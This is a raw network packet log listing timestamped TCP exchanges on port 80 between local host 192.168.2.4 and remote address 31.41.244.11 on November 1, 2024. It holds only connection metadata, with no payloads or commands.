Nov 1, 2024 10:57:10.010366917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010368109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010385990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010401011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010412931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010426998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010432005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010443926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010448933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010462046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010467052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010485888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010488033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010503054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010507107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010525942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010535002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010540962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010554075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010570049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010570049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010586977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010586977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010608912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010611057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010627031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010632038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010648012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010651112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010667086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010668993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010684013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010689974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010699987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010703087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010715961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010720968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010731936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010740995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010749102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010761023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010765076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010781050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010807037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029650927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029675007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029690027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029700994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029706001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029711008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029727936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029731035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029747009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029747963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029769897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029783010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029787064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029802084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029814959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029829025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029839039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029839993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029849052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029859066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029882908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029884100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029892921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029901981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029913902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029920101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029930115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.029939890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029956102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029979944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.029995918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030013084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030028105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030038118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030070066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030220985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030250072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030263901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030268908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030283928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030302048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030330896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030344963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030359983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030375957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030384064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030394077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030411959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030420065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030426025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030441999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030456066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030458927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030483007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030500889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030509949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030524015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030540943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030543089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030560970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030560970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030579090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030580997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030595064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030596018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030613899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030616999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030630112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030633926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030644894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030668020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030683041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030700922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030719042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030721903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030736923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030740976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030754089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030761957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030770063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030770063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030786037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030791998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030807972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030827999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030855894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030869007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030890942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030896902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030906916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030920982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030921936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030929089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030939102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.030942917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030965090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.030977964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031058073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031076908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031092882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031102896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031116009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031137943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031152964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031167984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031181097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031198025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031208992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031243086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031259060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031281948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031286001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031306982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031308889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031321049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031352043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031356096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031368017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031382084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031390905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031409025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031424046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031513929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031531096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031558037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031558990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031574011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031578064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031596899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031600952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031618118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031620979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031636953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031655073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031658888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031677008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031692028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031697035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031708002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031718016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031723976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031724930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031744957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031761885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031894922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031910896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031934977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031940937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031950951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031955004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031966925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.031974077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.031994104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032000065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032046080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032069921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032084942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032089949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032109976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032115936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032124996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032144070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032171011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032190084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032357931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032378912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032393932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032401085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032409906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032412052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032428026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032428980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032449007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032455921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032478094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032493114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032509089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032517910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032530069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032533884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032546997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032551050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032567024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032572031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032588959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032599926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032634020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032649040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032674074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032677889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032692909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032699108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032711029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032717943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032725096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032727003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032748938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032768011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032783031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032824993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032849073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032864094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032885075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032891989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032901049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032911062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032921076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032924891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032943010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032962084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.032963037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032984972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.032998085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033001900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033021927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033023119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033035994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033039093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033055067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033063889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033072948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033096075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033112049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033128023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033148050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033152103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033164024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033171892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033179998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033179998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033196926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033198118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033216953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033246994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033315897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033365965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033380985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033400059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033418894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033427000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033438921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033444881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033468008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033474922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033536911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033551931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033566952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033581018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033590078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033596992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033606052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033618927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033622026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033629894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033651114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033655882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033668995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033684015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033691883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033700943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033718109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033725023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033744097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033757925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033761978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033778906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033807039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033813000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033827066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033828974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033850908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033865929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.033948898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033963919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033978939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033993006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.033996105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034013987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034018040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034038067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034044027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034065008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034074068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034082890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034089088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034106970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034111977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034121990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034136057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034140110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034142971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034152985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.034157991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034182072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.034193993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120189905 CET	80	49820	31.41.244.11	192.168.2.4
